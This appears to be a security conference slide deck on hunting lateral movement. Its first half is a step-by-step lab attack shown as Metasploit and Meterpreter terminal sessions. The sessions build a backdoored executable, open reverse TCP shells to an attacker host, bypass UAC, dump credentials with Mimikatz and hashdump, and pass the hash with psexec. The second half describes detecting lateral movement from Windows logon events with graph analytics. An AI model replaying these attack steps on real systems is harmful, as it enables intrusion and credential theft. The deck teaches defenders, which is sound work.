



# Threat Hunting for Lateral Movement

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Corgi Edition



# Agenda

- ◆ Lateral Movement Overview
- ◆ Structuring the Analysis
- ◆ Detecting LMs with DataScience™
- ◆ Threat Hunting around Detected LMs





# What Is Lateral Movement?


Patient 0  
original  
Infection



Successful  
Lateral  
Movement



Failed Data access  
from Patient 0



Customer  
Financial  
Records



Successful  
Lateral  
Movement



# Infection to Lateral Movement Process

Rinse and Repeat for each system as needed or wanted

## Infection

### Infection Techniques

- Phishing email
- Drive by
- Exploit kit
- Flash drive



## Compromise

### Stages

- Infected system checks in with command and control server/s
- Human Attacker gives command to infected system to allow access
- remote shell
- GUI interface options
- Human attacker starts reconnaissance



## Reconnaissance

### Human Attacker interaction

Examples of recon:

- netstat – see active network connections
- Nmap – network scanner
- Net use – access to resources
- Net user – manage local/domain accounts
- Task list – what processes are running on system



## Credential Theft

### Tools

- Mimikatz
- Pwdump
- Generic memory dump

### Goal

- To gather plaintext credential
- Password hashes
- Elevate your privileges



## Lateral Movement

### Login to new system

- psexec - shell
- RDP – GUI
- Profit






# Infection– Back- doored executable

## Creating the Malicious Payload

```
root@kali:~/Downloads# msfvenom [REDACTED] platform windows  
[REDACTED] -f exe -o /tmp/badguy3.exe  
Found 1 compatible encoders  
Attempting to encode payload with 1 iterations of [REDACTED]  
[REDACTED] succeeded with size 360 (iteration=0)  
[REDACTED] chosen with final size 360  
Payload size: 360 bytes  
Final size of exe file: 73802 bytes  
Saved as: /tmp/badguy3.exe
```

## Infected Binary



# Compromise – Meterpreter Session



```
root@kali:~/Downloads# msfconsole -q  
[-] Failed to connect to the database: could not connect to server: Connection  
Is the server running on host "localhost" (:::1) and accepting  
TCP/IP connections on port 5432?  
could not connect to server: Connection refused  
Is the server running on host "localhost" (127.0.0.1) and accepting  
TCP/IP connections on port 5432?  
  
msf > use exploit/multi/handler  
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp  
PAYLOAD => windows/meterpreter/reverse_tcp  
msf exploit(handler) > set LHOST 192.168.1.106  
LHOST => 192.168.1.106  
msf exploit(handler) > set LPORT 31337  
LPORT => 31337  
msf exploit(handler) > exploit  
  
[*] Started reverse TCP handler on 192.168.1.106:31337  
[*] Starting the payload handler...  
[*] Sending stage (957487 bytes) to 192.168.1.100  
[*] Meterpreter session 1 opened (192.168.1.106:31337 -> 192.168.1.100:51403)  
  
meterpreter > █
```

# Compromise – discovering privileges

```
meterpreter > getprivs

=====
Enabled Process Privileges
=====

SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter >
```

# Compromise – elevate privileges

```
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > show sessions

Active sessions

=====
Id  Type                Information                                     Connection
-----
1   meterpreter x86/windows SECTECHLAB\bjohnson @ WIN7-PC 192.168.1.106:3

msf exploit(handler) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set SESSION 1
SESSION => 1
msf exploit(bypassuac) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(bypassuac) > set LHOST 192.168.1.106
LHOST => 192.168.1.106
msf exploit(bypassuac) > set LPORT 4443
LPORT => 4443
msf exploit(bypassuac) > set TECHNIQUE PSY
TECHNIQUE => PSY
msf exploit(bypassuac) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.106:4443
msf exploit(bypassuac) > [*] Sending stage (957487 bytes) to 192.168.1.100
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Meterpreter session 2 opened (192.168.1.106:4443 -> 192.168.1.100:51436)
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
```

# Compromise – confirm new privileges

```
meterpreter > getprivs

=====
Enabled Process Privileges
=====

SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```

# Recon – User accounts

## Recon Local Accounts

```
C:\Windows\system32>net user
net user

User accounts for \\

Administrator      desktopadmin      Guest
win7
```

## Recon Domain Accounts

```
C:\Windows\system32>net user /DOMAIN
net user /DOMAIN
The request will be processed at a domain controller for d

User accounts for \\labdc.sectechlab.net

Administrator      bjohnson      Guest
ismith             krbtgt       master
master a
```

# Recon – Network

## Nmap

```
msf auxiliary(tcp) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(tcp) > set PORTS 139,445
PORTS => 139,445
msf auxiliary(tcp) > set THREADS 50
THREADS => 50
msf auxiliary(tcp) > run

[*] 192.168.1.1: - 192.168.1.1:445 - TCP OPEN
[*] 192.168.1.10: - 192.168.1.10:445 - TCP OPEN
[*] 192.168.1.10: - 192.168.1.10:139 - TCP OPEN
[*] Scanned 32 of 256 hosts (12% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[*] 192.168.1.100: - 192.168.1.100:139 - TCP OPEN
[*] 192.168.1.100: - 192.168.1.100:445 - TCP OPEN
[*] 192.168.1.102: - 192.168.1.102:139 - TCP OPEN
[*] 192.168.1.104: - 192.168.1.104:139 - TCP OPEN
[*] 192.168.1.104: - 192.168.1.104:445 - TCP OPEN
[*] 192.168.1.102: - 192.168.1.102:445 - TCP OPEN
[*] Scanned 77 of 256 hosts (30% complete)
[*] Scanned 104 of 256 hosts (40% complete)
[*] Scanned 130 of 256 hosts (50% complete)
```

## Windows IP Configuration

```
Host Name . . . . . : win7-pc
Primary Dns Suffix . . . . . : sectechlab.net
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : sectechlab.net

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : sectechlab.net
Description . . . . . : Intel(R) PRO/1000 MT Net
Physical Address. . . . . : 00-0C-29-6A-BB-C8
DHCP Enabled. . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . : 192.168.1.100(Preferred)
Subnet Mask . . . . . : 255.255.255.0
Lease Obtained. . . . . : Thursday, June 15, 2017
Lease Expires . . . . . : Saturday, June 24, 2017
Default Gateway . . . . . : 192.168.1.1
DHCP Server . . . . . : 192.168.1.1
DNS Servers . . . . . : 192.168.1.1
Primary WINS Server . . . . . : 192.168.1.1
NetBIOS over Tcpi. . . . . : Enabled
```

## Check ARP table

```
C:\Windows\system32>ARP -a
ARP -a

Interface: 192.168.1.100 --- 0xb
Internet Address      Physical Address
192.168.1.1           00-0c-29-34-42-0a
192.168.1.4           00-0c-29-ea-27-03
192.168.1.106        00-0c-29-3a-2b-9f
```

# Recon – Processes

## Running Processes

```
C:\Windows\system32>tasklist
tasklist

Image Name          PID Session Name  Session#  Mem Usage
System Idle Process 0 Services      0          0      0 K
smss.exe            432 Console     1          4      4 K
badguy3.exe          868 Console     1    9,408 K
notepad.exe          2884 Console     1   13,564 K
cmd.exe              3000 Console     1    3,000 K
conhost.exe          1694 Console     1   4,412 K
tasklist.exe         912 Console     1    5,588 K
```

## Processes with Network Connections

```
meterpreter > netstat
Connection List

Proto Local address      Remote address      State      User      Inode  PID/Program name
tcp 0.0.0.0:135         0.0.0.0:*            LISTEN    0         0      788/svchost.exe
tcp 0.0.0.0:445         0.0.0.0:*            LISTEN    0         0      4/System
tcp 0.0.0.0:5357        0.0.0.0:*            LISTEN    0         0      4/System
tcp 0.0.0.0:49152       0.0.0.0:*            LISTEN    0         0      448/wininit.exe
tcp 0.0.0.0:49153       0.0.0.0:*            LISTEN    0         0      868/svchost.exe
tcp 0.0.0.0:49154       0.0.0.0:*            LISTEN    0         0      960/svchost.exe
tcp 0.0.0.0:49170       0.0.0.0:*            LISTEN    0         0      560/lsass.exe
tcp 0.0.0.0:49174       0.0.0.0:*            LISTEN    0         0      540/services.exe
tcp 0.0.0.0:49175       0.0.0.0:*            LISTEN    0         0      1904/svchost.exe
tcp 192.168.1.100:139  0.0.0.0:*            LISTEN    0         0      4/System
tcp 192.168.1.100:51437 192.168.1.106:31337 ESTABLISHED 0         0      868/badguy3.exe
```

## Mounted Drives

```
C:\Windows\system32>net use
net use

There are no entries in the list.
```



# Credential Theft

## Running Mimikatz

```
meterpreter > load mimikatz
Loading extension mimikatz...
[!] Loaded x86 Mimikatz on an x64 architecture.
success.
```

## Recover the Kerberos Hashes

```
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
```

AuthID	Package	Domain	User	Password
0;997	Negotiate	NT AUTHORITY	LOCAL SERVICE	
0;79473	NTLM			
0;996	Negotiate	SECTECHLAB	WIN7-PC\$	+L/>GRe[l>h*,Ev;x&0 s0\$djUK0q;c9oyKZ FxM*WcZ.X0WCYAk@ry'7fb<6y\_lW-YkQ6E!AtTq \$fvc PLY56J#dh`L%(aG7Hk7:qqG47&H8c)0om[R9
0;999	Negotiate	SECTECHLAB	WIN7-PC\$	+L/>GRe[l>h*,Ev;x&0 s0\$djUK0q;c9oyKZ FxM*WcZ.X0WCYAk@ry'7fb<6y\_lW-YkQ6E!AtTq \$fvc PLY56J#dh`L%(aG7Hk7:qqG47&H8c)0om[R9
0;624470	Kerberos	SECTECHLAB	bjohnson	test123!
0;624414	Kerberos	SECTECHLAB	bjohnson	test123!

## Recover SAM hashes

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > run hashdump
```

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart\_hashdump.  
[!] Example: run post/windows/gather/smart\_hashdump OPTION=value [...]  
[\*] Obtaining the boot key...  
[\*] Calculating the hboot key using SYSKEY e3a4ce782f1949f9324c988b8d04308e...  
[\*] Obtaining the user list and keys...  
[\*] Decrypting user keys...  
[\*] Dumping password hints...  
win7:"m"

[\*] Dumping password hashes...  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
win7:1000:aad3b435b51404eeaad3b435b51404ee:6d3986e540a63647454a50e26477ef94:::  
desktopadmin:1002:aad3b435b51404eeaad3b435b51404ee:5409776143091b4ecf5d0f3e23e1a0c5:::

# Lateral Movement – Using Stolen Credentials

```
msf exploit(bypassuac) > use exploit/windows/smb/psexec
msf exploit(psexec) > set SESSION 2
SESSION => 2
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.106
LHOST => 192.168.1.106
msf exploit(psexec) > set LPORT 31338
LPORT => 31338
msf exploit(psexec) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(psexec) > set SMBDomain sectechlab
SMBDomain => sectechlab
msf exploit(psexec) > set SMBUser bjohnson
SMBUser => bjohnson
msf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:d25ecd13fdddb542d2e16da4f9e0333d
SMBPass => aad3b435b51404eeaad3b435b51404ee:d25ecd13fdddb542d2e16da4f9e0333d
msf exploit(psexec) > set SHARE C$
SHARE => C$
msf exploit(psexec) > exploit -j
[*] Exploit running as background job.
```

[\*] Started reverse TCP handler on 192.168.1.106:31338  
[\*] 192.168.1.104:445 - Connecting to the server...  
[\*] 192.168.1.104:445 - Authenticating to 192.168.1.104:445|sectechlab as user 'bjohnson'...  
msf exploit(psexec) > [\*] 192.168.1.104:445 - Selecting PowerShell target  
[\*] 192.168.1.104:445 - Executing the payload...  
[+] 192.168.1.104:445 - Service start timed out, OK if running a command or non-service executable...  
[\*] Sending stage (957487 bytes) to 192.168.1.104  
[\*] Meterpreter session 3 opened (192.168.1.106:31338 -> 192.168.1.104:51641) at 2017-06-20 14:03:50 -0400

```
msf exploit(psexec) > sessions -l
```


Id	Type	Information	Connection
1	meterpreter	x86/windows SECTECHLAB\bjohnson @ WIN7-PC	192.168.1.106:31337 -> 192.168.1.100:59193 (192.168.1.100)
2	meterpreter	x86/windows NT AUTHORITY\SYSTEM @ WIN7-PC	192.168.1.106:4443 -> 192.168.1.100:59194 (192.168.1.100)
3	meterpreter	x86/windows NT AUTHORITY\SYSTEM @ WIN7VIC3	192.168.1.106:31338 -> 192.168.1.104:51641 (192.168.1.104)

```
msf exploit(psexec) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > upload /root/Downloads/mimikatz/x64/mimikatz.exe C:\\Users\\Public
[*] uploading : /root/Downloads/mimikatz/x64/mimikatz.exe -> C:\UsersPublic
[*] uploaded : /root/Downloads/mimikatz/x64/mimikatz.exe -> C:\UsersPublic
```



# DETECTING LATERAL MOVEMENT WITH DATA SCIENCE



# Data

- LM evidence comes from:

- Windows Events
- Syslog
- VPN
- Endpoint sensors

- Primary fields:

- Source
- Destination
- User
- Time

- Extra Information:

```
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-}
    <EventID>4624</EventID>
    <Version>0</Version>
    <Level>0</Level>
    <Task>12544</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8020000000000000</Keywords>
    <TimeCreated SystemTime="2014-09-10T08:44:55.712613000Z"/>
    <EventRecordID>125696293</EventRecordID>
    <Correlation/>
    <Execution ProcessID="468" ThreadID="1172"/>
    <Channel>Security</Channel>
    <Computer>SQRRL-DC005.sqrri.com</Computer>
    <Security/>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-0-0</Data>
    <Data Name="SubjectUserName">-</Data>
    <Data Name="SubjectDomainName">-</Data>
    <Data Name="SubjectLogonId">0x0</Data>
    <Data Name="TargetUserSid">S-1-5-21-2000478354-1532298954-725345543-3069</Data>
    <Data Name="TargetUserName">CGR-WK301$</Data>
    <Data Name="TargetDomainName">SQRRL</Data>
    <Data Name="TargetLogonId">0x3c8f86048</Data>
    <Data Name="LogonType">3</Data>
    <Data Name="LogonProcessName">Kerberos</Data>
    <Data Name="AuthenticationPackageName">Kerberos</Data>
    <Data Name="WorkstationName"/>
    <Data Name="LogonGuid">{A2E724D7-9045-C011-BFC8-CDD0B4CFD2E8}</Data>
    <Data Name="TransmittedServices">-</Data>
    <Data Name="LmPackageName">-</Data>
    <Data Name="KeyLength">0</Data>
    <Data Name="ProcessId">0x0</Data>
    <Data Name="ProcessName">-</Data>
    <Data Name="IpAddress">192.168.41.108</Data>
    <Data Name="IpPort">53584</Data>
  </EventData>
</Event>
```



# Abstraction Spectrum Trade-Off

**Specialized**

**Generic**




## Target Specific Techniques


- e.g. Pass The Hash detection
- Very specific means low false positives
- May miss new techniques

## Search for General Graph Patterns

- Hard to hide from
- May pick up unrelated similar patterns



# LM Graph Pattern Characteristics





# Lateral Movement Strategy


- Rank individual logins
  - Train: learn common user login patterns from the data
  - Predict: assign rank (logLikelihoodRatio) to every login. Rank high those that are unusual
- Construct time-ordered connected sequences of logins
  - Predict: find top N sequences of logins with the highest combined rank




# Generalized “Rarity” Classifier



- Used to determine **base risk** for logins
- Extensible feature vectors mix numerical, categorical, and text features
  - TDigests for numerical
  - Bag of words for text
  - Vectorized categorical statistics
- Learns “normal” in-situ
  - Priors out-of-the-box
  - Every network is different
- Scalable spark implementations



```
<Event xmlns="https://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54649623-5478-4994-
    <EventID=4624</EventID>
    <Version=0</Version>
    <Level=0</Level>
    <Task=12544</Task>
    <Opcode=0</Opcode>
    <Keywords=0x0020000000000000</Keywords>
    <TaskCategories="SystemLow" 2014-09-18T08:44:55.71261300Z"/>
    <EventRecordID=12565293</EventRecordID>
    <Correlation>
    <Execution ProcessID=468" ThreadID=1172"/>
    <Channel="Security</Channel>
    <Computer="SQRRL-DC085.sqrrl.com</Computer>
    <Security>
    </System>
  </EventData>
  <Data Name="SubjectUserSid">S-1-0-0</Data>
  <Data Name="SubjectUserName"></Data>
  <Data Name="SubjectDomainName"></Data>
  <Data Name="SubjectLogonID">0x0</Data>
  <Data Name="TargetUserSid">S-1-5-21-200479354-153298954-72545543-3069</Data>
  <Data Name="TargetUserName">CGI-MQ318</Data>
  <Data Name="TargetDomainName">SQRRL</Data>
  <Data Name="TargetLogonID">0x3c8f56040</Data>
  <Data Name="LogonType">3</Data>
  <Data Name="LogonProcessName">Kerberos</Data>
  <Data Name="AuthenticationPackageName">Kerberos</Data>
  <Data Name="WorkstationName"></Data>
  <Data Name="LogonGUID">{A2E7207-9045-C011-BF8C-C00BACF02E8}</Data>
  <Data Name="TransmittedServices"></Data>
  <Data Name="KeyLength">0</Data>
  <Data Name="ProcessID">0x0</Data>
  <Data Name="ProcessName"></Data>
  <Data Name="IPAddress">192.168.41.108</Data>
  <Data Name="IPPort">53504</Data>
</EventData>
</Event>
```









# Multi-Hop Predict: Combinatorics

- General Problem: Subgraph Isomorphism
- 5 edges  $\rightarrow 2^5 = 32$  subgraphs
- 10 edges  $\rightarrow 2^{10} = 1024$  subgraphs
- 20 edges  $\rightarrow 2^{20} = 1,048,576$  subgraphs
- We run with billions of edges...
- Solution: grow small subgraphs in parallel
  - Prune early and often
  - Aglomerative clustering
  - Message passing




# Multi-Hop Predict: Message Passing







# Multi-Hop Predict: Message Passing



# Multi-Hop Predict: Message Passing



# Scalable Analytic Implementation




- ◆ Large scale, parallel implementation
- ◆ Multiple Independent Variable Bayesian Classifier (MIVB)


- ◆ Spark extension for graph processing
- ◆ High performance message passing implementation
- ◆ Used for agglomerative clustering / detection of LM structures



# Processing Workflow




# Organizing Security Data



# False Positive Reduction

1. Rank:

$$L_{\text{LM}}(l_1, l_2, \dots, l_N) = \sum_i^N l_i + L_{\text{time}}(\max_i\{t_i\} - \min_i\{t_i\}) + L_{\text{length}}(N)$$


Base risk factor

Time risk factor

Size risk factor

2. Normalize:


- Smooth out discontinuities in ranking function
- Apply historical context to determine probability of seeing a given rank
- Convert to risk score based on likelihood \* impact

3. Threshold:

- Analysts usually care about LMs over risk X



# Building the LM Detector






# LATMOV-0

8 entities  
3 risk factors



From Feb 06 2017 07:00 to Feb 06 2017 08:59



### FEATURES


First detected	2017-02-06 20:19
Last updated	2017-02-06 20:19


Show more

### TAGS HISTORY

CozyBear x CrownJewel x

### ACTIVITY







# Thank you!

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